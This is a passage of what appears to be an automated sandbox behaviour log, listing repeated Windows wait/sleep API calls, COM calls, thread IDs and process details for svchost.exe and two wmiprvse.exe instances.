(nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.027] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0228.041] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.159] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0228.166] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.277] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0228.291] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.417] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0228.448] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.573] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0228.589] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.698] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0228.713] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.823] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0228.838] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.948] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0228.963] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.073] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0229.088] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.271] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0229.276] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.401] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0229.425] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.542] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0229.561] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.666] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0229.682] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.792] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0229.808] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.917] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0229.932] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.074] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0230.104] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.262] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0230.285] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.385] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0230.401] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.510] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0230.553] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.651] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0230.666] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.776] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0230.792] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.901] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0230.916] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.026] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0231.066] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.167] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0231.182] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.292] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0231.307] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.420] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0231.448] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.620] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0231.667] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.808] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0231.854] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.995] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0232.042] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0232.292] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0232.339] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0232.479] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0232.526] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0232.666] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0232.713] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0232.850] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0232.914] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0233.022] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0233.069] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0233.191] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0233.286] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) Thread: id = 183 os_tid = 0x12dc Thread: id = 184 os_tid = 0xbc0 Thread: id = 185 os_tid = 0x1324 Thread: id = 186 os_tid = 0xa28 Thread: id = 278 os_tid = 0xe90 [0217.898] CoGetContextToken (in: pToken=0x5cefadc | out: pToken=0x5cefadc) returned 0x0 [0217.898] IUnknown:QueryInterface (in: This=0x1355040, riid=0x737c5e8c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5cefb00 | out: ppvObject=0x5cefb00*=0x135504c) returned 0x0 [0217.898] IComThreadingInfo:GetCurrentThreadType (in: This=0x135504c, pThreadType=0x5cefb2c | out: pThreadType=0x5cefb2c*=0) returned 0x0 [0217.898] IUnknown:Release (This=0x135504c) returned 0x1 Thread: id = 298 os_tid = 0x13f8 Thread: id = 299 os_tid = 0x11b4 [0205.759] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0205.759] RoInitialize () returned 0x1 [0205.759] RoUninitialize () returned 0x0 [0205.761] ResetEvent (hEvent=0x5b4) returned 1 Process: id = "11" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4f383000" os_pid = "0x3ac" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "10" os_parent_pid = "0x23c" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xa], "NT SERVICE\\wuauserv" [0xa], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009fdd" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 187 os_tid = 0x1198 Thread: id = 188 os_tid = 0x114c Thread: id = 189 os_tid = 0x11e0 Thread: id = 190 os_tid = 0x1230 Thread: id = 191 os_tid = 0x1028 Thread: id = 192 os_tid = 0xfdc Thread: id = 193 os_tid = 0x4b8 Thread: id = 194 os_tid = 0x774 Thread: id = 195 os_tid = 0xde0 Thread: id = 196 os_tid = 0x718 Thread: id = 197 os_tid = 0x10f0 Thread: id = 198 os_tid = 0x10fc Thread: id = 199 os_tid = 0x1100 Thread: id = 200 os_tid = 0x1108 Thread: id = 201 os_tid = 0x1110 Thread: id = 202 os_tid = 0x111c Thread: id = 203 os_tid = 0x13a4 Thread: id = 204 os_tid = 0x13b0 Thread: id = 205 os_tid = 0x129c Thread: id = 206 os_tid = 0x1298 Thread: id = 207 os_tid = 0x1294 Thread: id = 208 os_tid = 0x1290 Thread: id = 209 os_tid = 0x1288 Thread: id = 210 os_tid = 0x1248 Thread: id = 211 os_tid = 0x1244 Thread: id = 212 os_tid = 0x1240 Thread: id = 213 os_tid = 0x1234 Thread: id = 214 os_tid = 0x1218 Thread: id = 215 os_tid = 0x1224 Thread: id = 216 os_tid = 0x1220 Thread: id = 217 os_tid = 0x116c Thread: id = 218 os_tid = 0x1168 Thread: id = 219 os_tid = 0x1164 Thread: id = 220 os_tid = 0x1158 Thread: id = 221 os_tid = 0x1154 Thread: id = 222 os_tid = 0x1150 Thread: id = 223 os_tid = 0xf6c Thread: id = 224 os_tid = 0xec8 Thread: id = 225 os_tid = 0xa3c Thread: id = 226 os_tid = 0xa1c Thread: id = 227 os_tid = 0xa18 Thread: id = 228 os_tid = 0xa14 Thread: id = 229 os_tid = 0xa0c Thread: id = 230 os_tid = 0x9dc Thread: id = 231 os_tid = 0x9d0 Thread: id = 232 os_tid = 0x9c8 Thread: id = 233 os_tid = 0x9c0 Thread: id = 234 os_tid = 0x9b8 Thread: id = 235 os_tid = 0x9b4 Thread: id = 236 os_tid = 0x9a4 Thread: id = 237 os_tid = 0x99c Thread: id = 238 os_tid = 0x990 Thread: id = 239 os_tid = 0x98c Thread: id = 240 os_tid = 0x984 Thread: id = 241 os_tid = 0x974 Thread: id = 242 os_tid = 0x970 Thread: id = 243 os_tid = 0x968 Thread: id = 244 os_tid = 0x928 Thread: id = 245 os_tid = 0x89c Thread: id = 246 os_tid = 0x84c Thread: id = 247 os_tid = 0x404 Thread: id = 248 os_tid = 0x7ac Thread: id = 249 os_tid = 0x7a0 Thread: id = 250 os_tid = 0x79c Thread: id = 251 os_tid = 0x790 Thread: id = 252 os_tid = 0x768 Thread: id = 253 os_tid = 0x6e8 Thread: id = 254 os_tid = 0x668 Thread: id = 255 os_tid = 0x664 Thread: id = 256 os_tid = 0x65c Thread: id = 257 os_tid = 0x650 Thread: id = 258 os_tid = 0x5b0 Thread: id = 259 os_tid = 0x544 Thread: id = 260 os_tid = 0x458 Thread: id = 261 os_tid = 0x420 Thread: id = 262 os_tid = 0x414 Thread: id = 263 os_tid = 0x410 Thread: id = 264 os_tid = 0x408 Thread: id = 265 os_tid = 0x8 Thread: id = 266 os_tid = 0x158 Thread: id = 267 os_tid = 0x150 Thread: id = 268 os_tid = 0x348 Thread: id = 269 os_tid = 0x12c Thread: id = 270 os_tid = 0x318 Thread: id = 271 os_tid = 0x2f0 Thread: id = 272 os_tid = 0x184 Thread: id = 273 os_tid = 0x26c Thread: id = 274 os_tid = 0x3b0 Thread: id = 275 os_tid = 0xb70 Thread: id = 276 os_tid = 0xbec Thread: id = 277 os_tid = 0xf8c Thread: id = 279 os_tid = 0xf00 Thread: id = 300 os_tid = 0x11b0 Thread: id = 302 os_tid = 0xff4 Thread: id = 303 os_tid = 0x139c Process: id = "12" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x75811000" os_pid = "0x1284" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x2a4" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:000a37a7" [0xc000000f] Thread: id = 280 os_tid = 0x1058 Thread: id = 281 os_tid = 0xffc Thread: id = 282 os_tid = 0x1ec Thread: id = 283 os_tid = 0xd64 Thread: id = 284 os_tid = 0xbd0 Thread: id = 285 os_tid = 0x1148 Thread: id = 286 os_tid = 0x450 Thread: id = 287 os_tid = 0x13bc Thread: id = 288 os_tid = 0x6c4 Thread: id = 289 os_tid = 0x11fc Process: id = "13" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x6e425000" os_pid = "0x106c" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x2a4" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xa], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009fdd" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 290 os_tid = 0x1160 Thread: id = 291 os_tid = 0x1090 Thread: id = 292 os_tid = 0x108c Thread: id = 293 os_tid = 0x1088 Thread: id = 294 os_tid = 0x1084 Thread: id = 295 os_tid = 0x1080 Thread: id = 296 os_tid = 0x107c Thread: id = 297 os_tid = 0x1070